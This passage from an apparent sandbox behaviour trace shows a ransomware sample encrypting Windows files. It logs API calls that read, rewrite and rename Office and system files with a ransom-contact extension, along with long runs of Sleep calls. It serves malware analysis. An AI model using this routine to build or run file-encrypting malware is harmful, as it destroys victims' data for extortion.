Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.461] CloseHandle (hObject=0x640) returned 1 [0266.461] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.461] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.png.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.462] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.462] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb950d65, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x692, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="MS.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPNGI~1.FIR")) returned 0x6d52c0 [0266.462] FindClose (in: hFindFile=0x6d52c0 | out: hFindFile=0x6d52c0) returned 1 [0266.463] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.png.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.463] GetProcessHeap () returned 0x630000 [0266.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x7270ed0 [0266.463] GetProcessHeap () returned 0x630000 [0266.463] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x6a1) returned 0x7270140 [0266.463] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.463] ReadFile (in: hFile=0x640, lpBuffer=0x7270ed0, nNumberOfBytesToRead=0x680, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7270ed0*, lpNumberOfBytesRead=0x6c3ff0c*=0x680, lpOverlapped=0x0) returned 1 [0266.471] GetProcessHeap () returned 0x630000 [0266.471] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7317838 [0266.471] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.471] WriteFile (in: hFile=0x640, lpBuffer=0x7270140*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x7270140*, lpNumberOfBytesWritten=0x6c3ff0c*=0x680, lpOverlapped=0x0) returned 1 [0266.471] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.471] WriteFile (in: hFile=0x640, lpBuffer=0x72707bf*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x72707bf*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0266.471] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.471] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0266.471] CloseHandle (hObject=0x640) returned 1 [0266.471] GetProcessHeap () returned 0x630000 [0266.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7270140 | out: hHeap=0x630000) returned 1 [0266.472] GetProcessHeap () returned 0x630000 [0266.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7270ed0 | out: hHeap=0x630000) returned 1 [0266.472] GetProcessHeap () returned 0x630000 [0266.472] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7317838 | out: hHeap=0x630000) returned 1 [0266.472] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.472] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.PNG.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb950d65, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb950d65, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x64c77bc5, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x6b6, dwReserved0=0x6c3fd20, dwReserved1=0x7270ed0, cFileName="MS.PNG.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSPNGI~1.FIR")) returned 0x6d4f40 [0266.472] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0266.472] Sleep (dwMilliseconds=0x1) [0266.482] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS", len=0x60 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS") returned 1 [0266.482] GetProcessHeap () returned 0x630000 [0266.482] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4b90) returned 0x6fe3bb0 [0266.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.eps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.483] CloseHandle (hObject=0x640) returned 1 [0266.483] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0266.483] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.eps"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.eps.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0266.484] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0266.484] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fc6c | out: lpFindFileData=0x6c3fc6c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8de687, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8de687, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb92ab57, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3adb, dwReserved0=0x72006f, dwReserved1=0x400074, cFileName="MS.EPS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSEPSI~1.FIR")) returned 0x6d5380 [0266.484] FindClose (in: hFindFile=0x6d5380 | out: hFindFile=0x6d5380) returned 1 [0266.484] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\program files\\microsoft office\\root\\vfs\\programfilescommonx64\\microsoft shared\\grphflt\\ms.eps.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x640 [0266.485] GetProcessHeap () returned 0x630000 [0266.485] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3ae1) returned 0x73aa630 [0266.485] GetProcessHeap () returned 0x630000 [0266.485] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x3ae1) returned 0x705b9d0 [0266.485] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.485] ReadFile (in: hFile=0x640, lpBuffer=0x73aa630, nNumberOfBytesToRead=0x3ac0, lpNumberOfBytesRead=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x73aa630*, lpNumberOfBytesRead=0x6c3ff0c*=0x3ac0, lpOverlapped=0x0) returned 1 [0268.604] GetProcessHeap () returned 0x630000 [0268.604] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x7318ad0 [0268.604] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.604] WriteFile (in: hFile=0x640, lpBuffer=0x705b9d0*, nNumberOfBytesToWrite=0x3ac0, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x705b9d0*, lpNumberOfBytesWritten=0x6c3ff0c*=0x3ac0, lpOverlapped=0x0) returned 1 [0268.604] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.604] WriteFile (in: hFile=0x640, lpBuffer=0x705f48f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x705f48f*, lpNumberOfBytesWritten=0x6c3ff0c*=0x20, lpOverlapped=0x0) returned 1 [0268.604] SetFilePointerEx (in: hFile=0x640, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0268.604] WriteFile (in: hFile=0x640, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c3ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x6c3ff0c*=0x4, lpOverlapped=0x0) returned 1 [0268.605] CloseHandle (hObject=0x640) returned 1 [0268.605] GetProcessHeap () returned 0x630000 [0268.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x705b9d0 | out: hHeap=0x630000) returned 1 [0268.605] GetProcessHeap () returned 0x630000 [0268.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x73aa630 | out: hHeap=0x630000) returned 1 [0268.605] GetProcessHeap () returned 0x630000 [0268.605] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x7318ad0 | out: hHeap=0x630000) returned 1 [0268.605] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6c3ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0268.606] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\root\\VFS\\ProgramFilesCommonX64\\Microsoft Shared\\GRPHFLT\\MS.EPS.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x6c3fcc4 | out: lpFindFileData=0x6c3fcc4*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xb8de687, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xb8de687, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x660b90c9, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x3aff, dwReserved0=0x9ec7496, dwReserved1=0x73aa628, cFileName="MS.EPS.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MSEPSI~1.FIR")) returned 0x6d5540 [0268.606] FindClose (in: hFindFile=0x6d5540 | out: hFindFile=0x6d5540) returned 1 [0268.606] Sleep (dwMilliseconds=0x1) [0270.734] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-200_contrast-black.png", len=0xa0 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-200_contrast-black.png") returned 1 [0270.734] GetProcessHeap () returned 0x630000 [0270.734] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bb4) returned 0x6fe3bb0 [0270.734] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-black\\AppPackageStoreLogo.scale-200_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-black\\apppackagestorelogo.scale-200_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0270.736] Sleep (dwMilliseconds=0x1) [0272.903] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-black.png", len=0x97 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-black.png") returned 1 [0272.903] GetProcessHeap () returned 0x630000 [0272.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4e2c) returned 0x6fe3bb0 [0272.904] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.Getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\Assets\\GetStartedAppList.targetsize-96_altform-unplated_contrast-black.png" (normalized: "c:\\program files\\windowsapps\\microsoft.getstarted_4.5.6.0_x64__8wekyb3d8bbwe\\assets\\getstartedapplist.targetsize-96_altform-unplated_contrast-black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0272.905] Sleep (dwMilliseconds=0x1) [0274.796] SysReAllocStringLen (in: pbstr=0x6c3ff7c*=0x0, psz="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_altform-unplated_contrast-white.png", len=0xb3 | out: pbstr=0x6c3ff7c*="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_altform-unplated_contrast-white.png") returned 1 [0274.796] GetProcessHeap () returned 0x630000 [0274.796] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fe3bb0, Size=0x4bc8) returned 0x6fe3bb0 [0274.796] CreateFileW (lpFileName="C:\\Program Files\\WindowsApps\\Microsoft.DesktopAppInstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\Assets\\contrast-white\\AppPackageAppList.targetsize-24_altform-unplated_contrast-white.png" (normalized: "c:\\program files\\windowsapps\\microsoft.desktopappinstaller_1.0.10252.0_x64__8wekyb3d8bbwe\\assets\\contrast-white\\apppackageapplist.targetsize-24_altform-unplated_contrast-white.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0274.798] Sleep (dwMilliseconds=0x1) Thread: id = 90 os_tid = 0x1374 [0067.706] Sleep (dwMilliseconds=0x1) [0067.822] Sleep (dwMilliseconds=0x1) [0067.938] Sleep (dwMilliseconds=0x1) [0068.040] Sleep (dwMilliseconds=0x1) [0068.150] Sleep (dwMilliseconds=0x1) [0068.279] Sleep (dwMilliseconds=0x1) [0068.399] Sleep (dwMilliseconds=0x1) [0068.495] Sleep (dwMilliseconds=0x1) [0068.542] Sleep (dwMilliseconds=0x1) [0068.700] Sleep (dwMilliseconds=0x1) [0068.744] Sleep (dwMilliseconds=0x1) [0068.795] Sleep (dwMilliseconds=0x1) [0068.840] Sleep (dwMilliseconds=0x1) [0068.886] Sleep (dwMilliseconds=0x1) [0068.932] Sleep (dwMilliseconds=0x1) [0068.979] Sleep (dwMilliseconds=0x1) [0069.045] Sleep (dwMilliseconds=0x1) [0069.107] Sleep (dwMilliseconds=0x1) [0069.156] Sleep (dwMilliseconds=0x1) [0069.201] Sleep (dwMilliseconds=0x1) [0069.246] Sleep (dwMilliseconds=0x1) [0069.295] Sleep (dwMilliseconds=0x1) [0069.375] Sleep (dwMilliseconds=0x1) [0069.438] Sleep (dwMilliseconds=0x1) [0069.480] Sleep (dwMilliseconds=0x1) [0069.525] Sleep (dwMilliseconds=0x1) [0069.692] Sleep (dwMilliseconds=0x1) [0069.922] Sleep (dwMilliseconds=0x1) [0070.143] Sleep (dwMilliseconds=0x1) [0070.265] Sleep (dwMilliseconds=0x1) [0070.379] Sleep (dwMilliseconds=0x1) [0070.537] Sleep (dwMilliseconds=0x1) [0070.873] Sleep (dwMilliseconds=0x1) [0071.565] Sleep (dwMilliseconds=0x1) [0071.938] Sleep (dwMilliseconds=0x1) [0072.425] Sleep (dwMilliseconds=0x1) [0072.610] Sleep (dwMilliseconds=0x1) [0072.796] Sleep (dwMilliseconds=0x1) [0072.909] Sleep (dwMilliseconds=0x1) [0073.095] Sleep (dwMilliseconds=0x1) [0073.394] Sleep (dwMilliseconds=0x1) [0073.721] Sleep (dwMilliseconds=0x1) [0073.932] Sleep (dwMilliseconds=0x1) [0074.047] Sleep (dwMilliseconds=0x1) [0074.177] Sleep (dwMilliseconds=0x1) [0074.384] Sleep (dwMilliseconds=0x1) [0074.667] Sleep (dwMilliseconds=0x1) [0074.775] Sleep (dwMilliseconds=0x1) [0074.845] Sleep (dwMilliseconds=0x1) [0074.905] Sleep (dwMilliseconds=0x1) [0075.000] Sleep (dwMilliseconds=0x1) [0075.060] Sleep (dwMilliseconds=0x1) [0075.106] Sleep (dwMilliseconds=0x1) [0075.157] Sleep (dwMilliseconds=0x1) [0075.216] Sleep (dwMilliseconds=0x1) [0075.264] Sleep (dwMilliseconds=0x1) [0075.304] Sleep (dwMilliseconds=0x1) [0075.362] Sleep (dwMilliseconds=0x1) [0075.427] Sleep (dwMilliseconds=0x1) [0075.513] Sleep (dwMilliseconds=0x1) [0075.568] Sleep (dwMilliseconds=0x1) [0075.612] Sleep (dwMilliseconds=0x1) [0075.698] Sleep (dwMilliseconds=0x1) [0075.744] Sleep (dwMilliseconds=0x1) [0075.793] Sleep (dwMilliseconds=0x1) [0075.830] Sleep (dwMilliseconds=0x1) [0075.843] Sleep (dwMilliseconds=0x1) [0076.043] Sleep (dwMilliseconds=0x1) [0076.064] Sleep (dwMilliseconds=0x1) [0076.082] Sleep (dwMilliseconds=0x1) [0076.108] Sleep (dwMilliseconds=0x1) [0076.185] Sleep (dwMilliseconds=0x1) [0076.392] Sleep (dwMilliseconds=0x1) [0076.529] Sleep (dwMilliseconds=0x1) [0076.673] Sleep (dwMilliseconds=0x1) [0076.709] Sleep (dwMilliseconds=0x1) [0076.778] Sleep (dwMilliseconds=0x1) [0076.800] Sleep (dwMilliseconds=0x1) [0076.847] Sleep (dwMilliseconds=0x1) [0076.874] Sleep (dwMilliseconds=0x1) [0076.918] Sleep (dwMilliseconds=0x1) [0076.987] Sleep (dwMilliseconds=0x1) [0077.072] Sleep (dwMilliseconds=0x1) [0077.151] Sleep (dwMilliseconds=0x1) [0077.219] Sleep (dwMilliseconds=0x1) [0077.291] Sleep (dwMilliseconds=0x1) [0077.357] Sleep (dwMilliseconds=0x1) [0077.415] Sleep (dwMilliseconds=0x1) [0077.518] Sleep (dwMilliseconds=0x1) [0077.600] Sleep (dwMilliseconds=0x1) [0077.646] Sleep (dwMilliseconds=0x1) [0077.691] Sleep (dwMilliseconds=0x1) [0077.733] Sleep (dwMilliseconds=0x1) [0077.785] Sleep (dwMilliseconds=0x1) [0077.830] Sleep (dwMilliseconds=0x1) [0077.859] Sleep (dwMilliseconds=0x1) [0077.909] Sleep (dwMilliseconds=0x1) [0077.962] Sleep (dwMilliseconds=0x1) [0077.979] Sleep (dwMilliseconds=0x1) [0077.997] Sleep (dwMilliseconds=0x1) [0078.088] Sleep (dwMilliseconds=0x1) [0078.115] Sleep (dwMilliseconds=0x1) [0078.136] Sleep (dwMilliseconds=0x1) [0078.191] Sleep (dwMilliseconds=0x1) [0078.226] Sleep (dwMilliseconds=0x1) [0078.236] Sleep (dwMilliseconds=0x1) [0078.255] Sleep (dwMilliseconds=0x1) [0078.269] Sleep (dwMilliseconds=0x1) [0078.288] Sleep (dwMilliseconds=0x1) [0078.311] Sleep (dwMilliseconds=0x1) [0078.362] Sleep (dwMilliseconds=0x1) [0078.377] Sleep (dwMilliseconds=0x1) [0078.515] Sleep (dwMilliseconds=0x1) [0078.534] Sleep (dwMilliseconds=0x1) [0078.562] Sleep (dwMilliseconds=0x1) [0078.612] Sleep (dwMilliseconds=0x1) [0078.624] Sleep (dwMilliseconds=0x1) [0078.648] Sleep (dwMilliseconds=0x1) [0078.657] Sleep (dwMilliseconds=0x1) [0078.678] Sleep (dwMilliseconds=0x1) [0078.708] Sleep (dwMilliseconds=0x1) [0078.720] Sleep (dwMilliseconds=0x1) [0078.738] Sleep (dwMilliseconds=0x1) [0078.753] Sleep (dwMilliseconds=0x1) [0078.770] Sleep (dwMilliseconds=0x1) [0078.786] Sleep (dwMilliseconds=0x1) [0078.838] Sleep (dwMilliseconds=0x1) [0078.886] Sleep (dwMilliseconds=0x1) [0078.895] Sleep (dwMilliseconds=0x1) [0078.927] Sleep (dwMilliseconds=0x1) [0078.946] Sleep (dwMilliseconds=0x1) [0078.957] Sleep (dwMilliseconds=0x1) [0078.979] Sleep (dwMilliseconds=0x1) [0079.002] Sleep (dwMilliseconds=0x1) [0079.032] Sleep (dwMilliseconds=0x1) [0079.049] Sleep (dwMilliseconds=0x1) [0079.080] Sleep (dwMilliseconds=0x1) [0079.098] Sleep (dwMilliseconds=0x1) [0079.117] Sleep (dwMilliseconds=0x1) [0079.129] Sleep (dwMilliseconds=0x1) [0079.160] Sleep (dwMilliseconds=0x1) [0079.224] Sleep (dwMilliseconds=0x1) [0079.251] Sleep (dwMilliseconds=0x1) [0079.269] Sleep (dwMilliseconds=0x1) [0079.287] Sleep (dwMilliseconds=0x1) [0079.300] Sleep (dwMilliseconds=0x1) [0079.315] Sleep (dwMilliseconds=0x1) [0079.330] Sleep (dwMilliseconds=0x1) [0079.348] Sleep (dwMilliseconds=0x1) [0079.361] Sleep (dwMilliseconds=0x1) [0079.387] Sleep (dwMilliseconds=0x1) [0079.418] Sleep (dwMilliseconds=0x1) [0079.450] Sleep (dwMilliseconds=0x1) [0079.521] Sleep (dwMilliseconds=0x1) [0079.536] Sleep (dwMilliseconds=0x1) [0079.550] Sleep (dwMilliseconds=0x1) [0079.596] Sleep (dwMilliseconds=0x1) [0079.615] Sleep (dwMilliseconds=0x1) [0079.625] Sleep (dwMilliseconds=0x1) [0079.646] Sleep (dwMilliseconds=0x1) [0079.657] Sleep (dwMilliseconds=0x1) [0079.680] Sleep (dwMilliseconds=0x1) [0079.692] Sleep (dwMilliseconds=0x1) [0079.736] Sleep (dwMilliseconds=0x1) [0079.803] Sleep (dwMilliseconds=0x1) [0079.813] Sleep (dwMilliseconds=0x1) [0079.833] Sleep (dwMilliseconds=0x1) [0079.887] Sleep (dwMilliseconds=0x1) [0079.918] Sleep (dwMilliseconds=0x1) [0079.930] Sleep (dwMilliseconds=0x1) [0079.941] Sleep (dwMilliseconds=0x1) [0079.983] Sleep (dwMilliseconds=0x1) [0080.051] Sleep (dwMilliseconds=0x1) [0080.067] Sleep (dwMilliseconds=0x1) [0080.087] Sleep (dwMilliseconds=0x1) [0080.096] Sleep (dwMilliseconds=0x1) [0080.140] Sleep (dwMilliseconds=0x1) [0080.157] Sleep (dwMilliseconds=0x1) [0080.176] Sleep (dwMilliseconds=0x1) [0080.241] Sleep (dwMilliseconds=0x1) [0080.257] Sleep (dwMilliseconds=0x1) [0080.272] Sleep (dwMilliseconds=0x1) [0080.282] Sleep (dwMilliseconds=0x1) [0080.304] Sleep (dwMilliseconds=0x1) [0080.313] Sleep (dwMilliseconds=0x1) [0080.346] Sleep (dwMilliseconds=0x1) [0080.358] Sleep (dwMilliseconds=0x1) [0080.387] Sleep (dwMilliseconds=0x1) [0080.413] Sleep (dwMilliseconds=0x1) [0080.423] Sleep (dwMilliseconds=0x1) [0080.445] Sleep (dwMilliseconds=0x1) [0080.499] Sleep (dwMilliseconds=0x1) [0080.530] Sleep (dwMilliseconds=0x1) [0080.552] Sleep (dwMilliseconds=0x1) [0080.564] Sleep (dwMilliseconds=0x1) [0080.586] Sleep (dwMilliseconds=0x1) [0080.602] Sleep (dwMilliseconds=0x1) [0080.618] Sleep (dwMilliseconds=0x1) [0080.657] Sleep (dwMilliseconds=0x1) [0080.676] Sleep (dwMilliseconds=0x1) [0080.707] Sleep (dwMilliseconds=0x1) [0080.719] Sleep (dwMilliseconds=0x1) [0080.768] Sleep (dwMilliseconds=0x1) [0080.784] Sleep (dwMilliseconds=0x1) [0080.808] Sleep (dwMilliseconds=0x1) [0080.816] Sleep (dwMilliseconds=0x1) [0080.842] Sleep (dwMilliseconds=0x1) [0080.892] Sleep (dwMilliseconds=0x1) [0080.915] Sleep (dwMilliseconds=0x1) [0080.925] Sleep (dwMilliseconds=0x1) [0080.939] 